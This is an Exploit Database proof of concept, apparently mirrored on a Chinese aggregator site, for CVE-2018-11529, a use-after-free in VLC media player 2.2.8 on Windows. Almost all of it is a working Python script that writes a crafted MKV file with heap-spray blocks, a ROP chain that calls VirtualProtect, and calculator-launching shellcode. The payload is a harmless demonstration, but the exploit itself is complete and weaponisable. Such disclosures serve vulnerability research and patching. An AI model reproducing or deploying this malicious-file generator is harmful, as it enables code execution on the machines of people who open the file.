VLC media player 2.2.8 – Arbitrary Code Execution (PoC)

• Exploit Database
• 19 阅读

• 作者： Eugene Ng
  日期： 2018-07-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44979/

• # Exploit Title: VLC media player 2.2.8 - Arbitrary Code Execution PoC
  # Date: 2018-06-06
  # Exploit Author: Eugene Ng
  # Vendor Homepage: https://www.videolan.org/vlc/index.html
  # Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe
  # Version: 2.2.8
  # Tested on: Windows 10 x64
  # CVE: CVE-2018-11529
  #
  # 1. Description
  #
  # VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows 
  # an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed
  # exploit attempts will likely result in denial of service conditions.
  #
  # Exploit can work on both 32 bits and 64 bits of VLC media player.
  #
  # 2. Proof of Concept
  #
  # Generate MKV files using python
  # Open VLC media player
  # Drag and drop poc.mkv into VLC media player (more reliable than double clicking)
  #
  # 3. Solution
  #
  # Update to version 3.0.3
  # https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe
  
  import uuid
  from struct import pack
  
  class AttachedFile(object):
  def __init__(self, data):
  self.uid= '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8]
  self.name = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8]
  self.mime = '\x46\x60' + data_size(24) + 'application/octet-stream'
  self.data = '\x46\x5c' + data_size(len(data)) + data
  self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))
  
  def __str__(self):
  return self.header + self.name + self.mime + self.uid + self.data
  
  def to_bytes(n, length):
  h = '%x' % n
  s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
  return s
  
  def data_size(number, numbytes=range(1, 9)):
  # encode 'number' as an EBML variable-size integer.
  size = 0
  for size in numbytes:
  bits = size*7
  if number <= (1 << bits) - 2:
  return to_bytes(((1 << bits) + number), size)
  raise ValueError("Can't store {} in {} bytes".format(number, size))
  
  def build_data(size, bits, version):
  target_addresses = {
  '64': 0x40000040,
  '32': 0x22000020,
  }
  target_address = target_addresses[bits]
  
  exit_pointers = {
  '64': {
  '2.2.8': 0x00412680,
  },
  '32': {
  '2.2.8': 0x00411364,
  }
  }
  pExit = exit_pointers[bits][version]
  
  rop_gadgets = {
  '64': {
  '2.2.8': [
  0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 # XOR EAX,EAX # RET
  0x00403b60, # POP RCX # RET
  target_address, # lpAddress
  0x004011c2, # POP RDX # RET
  0x00001000, # dwSize
  0x0040ab70, # JMP VirtualProtect
  target_address + 0x500, # Shellcode
  ],
  },
  '32': {
  '2.2.8': [
  0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
  0x00407086, # POP EDI # RETN [vlc.exe]
  0x00000040, # 0x00000040-> edx
  0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
  0x41414141, # Filler (compensate)
  0x41414141, # Filler (compensate)
  0x41414141, # Filler (compensate)
  0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]
  0x22000030, # Filler (compensate) for rol [eax] below
  0x41414141, # Filler (compensate)
  0x004039c8, # POP ECX # RETN [vlc.exe]
  0x0041193d, # &Writable location [vlc.exe]
  0x00409d18, # POP EBX # RETN [vlc.exe]
  0x00000201, # 0x00000201-> ebx
  0x0040a623, # POP EBP # RETN [vlc.exe]
  0x0040a623, # POP EBP # RETN [vlc.exe]
  0x004036CB, # POP ESI # RETN [vlc.exe]
  0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
  0x00407086, # POP EDI # RETN [vlc.exe]
  0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
  0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
  target_address + 0x5e0, # Shellcode
  ],
  }
  }
  
  if bits == '64':
  target_address_packed = pack("<Q", target_addresses[bits])
  rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])
  
  # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
  # w64-exec-calc-shellcode-esp.bin
  shellcode = (
  "\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48"
  "\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad"
  "\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74"
  "\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02"
  "\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01"
  "\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7"
  # add shellcode to avoid crashes by terminating the process
  # xor rcx, rcx # mov rax, pExit # call [rax]
  "\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10")
  
  if size == 0x180:
  UAF_object = '\x41'
  while len(UAF_object) < size:
  UAF_object += UAF_object
  UAF_object = UAF_object[:size]
  UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]
  UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:]
  UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:]
  UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:]
  return UAF_object
  else:
  block = '\x00'
  block_size = 0x1000
  while len(block) < block_size:
  block += block
  block = block[:block_size]
  block = block[:0x0] + '\x41' * 4 + block[0x4:]
  block = block[:0x8] + target_address_packed + block[0x10:]
  block = block[:0x10] + target_address_packed + block[0x18:]
  block = block[:0x40] + pack("<Q", 0x1) + block[0x48:]
  block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:]
  block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:]
  block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:]
  block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):]
  block = block[:0x500] + shellcode + block[0x500 + len(shellcode):]
  block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:]
  while len(block) < size:
  block += block
  return block[:size]
  else:
  target_address_packed = pack("<I", target_addresses[bits])
  rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version])
  
  # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
  # w32-exec-calc-shellcode.bin
  shellcode = (
  "\x83\xE4\xFC\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64"
  "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B"
  "\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24"
  "\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0"
  "\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"
  # add shellcode to avoid crashes by terminating the process
  # xor eax, eax # push eax # mov eax, pExit # jmp eax
  "\x31\xC0\x50\xA1" + pack("<I", pExit) + "\xff\xe0")
  
  if size == 0x100:
  UAF_object = '\x41'
  while len(UAF_object) < size:
  UAF_object += UAF_object
  UAF_object = UAF_object[:size]
  UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:]
  UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:]
  UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:]
  UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:]
  return UAF_object
  else:
  block = '\x00'
  block_size = 0x1000
  while len(block) < block_size:
  block += block
  block = block[:block_size]
  block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:]
  block = block[:0x4] + target_address_packed + block[0x8:]
  block = block[:0x8] + target_address_packed + block[0xc:]
  block = block[:0x10] + pack("<I", 0xc85) + block[0x14:]
  block = block[:0x30] + pack("<I", 0x1) + block[0x34:]
  block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:]
  block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:]
  block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:]
  block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:]
  block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):]
  block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:]
  block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):]
  while len(block) < size:
  block += block
  return block[:size]
  
  def build_exploit(bits, version):
  # EBML Header
  DocType = "\x42\x82" + data_size(8) + "matroska"
  EBML = "\x1a\x45\xdf\xa3" + data_size(len(DocType)) + DocType
  
  # Seek Entries
  SeekEntry = "\x53\xab" + data_size(4) # SeekID
  SeekEntry += "\x15\x49\xa9\x66" # KaxInfo
  SeekEntry += "\x53\xac" + data_size(2) + "\xff" * 2 # SeekPosition + Index of Segment info
  SeekEntries = "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry# Seek Entry
  
  SeekEntry = "\x53\xab" + data_size(4) # SeekID
  SeekEntry += "\x11\x4d\x9b\x74" # KaxSeekHead
  SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of SeekHead
  SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry
  
  SeekEntry = "\x53\xab" + data_size(4) # SeekID
  SeekEntry += "\x10\x43\xa7\x70" # KaxChapters
  SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of Chapters
  SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry
  
  # SeekHead
  SeekHead = "\x11\x4d\x9b\x74" + data_size(len(SeekEntries)) + SeekEntries
  
  # Void
  Void = "\xec" + data_size(2) + "\x41" # Trigger bug with an out-of-order element
  
  # Info
  SegmentUID = "\x73\xa4" + data_size(16) + uuid.uuid4().bytes
  Info = "\x15\x49\xa9\x66" + data_size(len(SegmentUID)) + SegmentUID
  
  # Chapters
  ChapterSegmentUID = "\x6e\x67" + data_size(16) + uuid.uuid4().bytes
  ChapterAtom = "\xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID
  EditionEntry = "\x45\xb9" + data_size(len(ChapterAtom)) + ChapterAtom
  Chapters = "\x10\x43\xa7\x70" + data_size(len(EditionEntry)) + EditionEntry
  
  if bits == '64':
  size = 0x180
  count = 60
  else:
  size = 0x100
  count = 30
  
  # Attachments
  print "[+] Generating UAF objects...",
  AttachedFiles = ""
  for i in range(500):
  AttachedFiles += str(AttachedFile(build_data(size, bits, version)))
  Attachments = "\x19\x41\xa4\x69" + data_size(len(AttachedFiles)) + AttachedFiles
  print "done"
  
  # Cluster
  print "[+] Generating payload...",
  payload = build_data(0xfff000, bits, version)
  SimpleBlocks = "\xa3" + data_size(len(payload)) + payload
  SimpleBlocksLength = len(SimpleBlocks) * count
  Timecode = "\xe7" + data_size(1) + "\x00"
  Cluster = "\x1f\x43\xb6\x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode
  print "done"
  
  # Concatenate everything
  SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster
  Segment = "\x18\x53\x80\x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData
  mkv = EBML + Segment
  
  print "[+] Writing poc MKV...",
  with open('poc.mkv', 'wb') as fp:
  fp.write(mkv)
  for i in range(count):
  fp.write(SimpleBlocks)
  print "done"
  
  # Bug requires another MKV file in the same directory, hence we
  # generate another 'minimally valid' MKV file that VLC will parse
  # Also able to use any other valid MKV file...
  auxi_mkv = mkv[:0x4f] + "\x15\x49\xa9\x66" + data_size(10) # Add some arbitrary size
  
  print "[+] Writing auxiliary MKV...",
  with open('auxi.mkv', 'wb') as fp:
  fp.write(auxi_mkv)
  print "done"
  
  if __name__ == '__main__':
  bits = '64' # 32 / 64
  version = '2.2.8'
  
  print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version)
  build_exploit(bits, version)
  print "Open VLC and drag and drop in poc.mkv"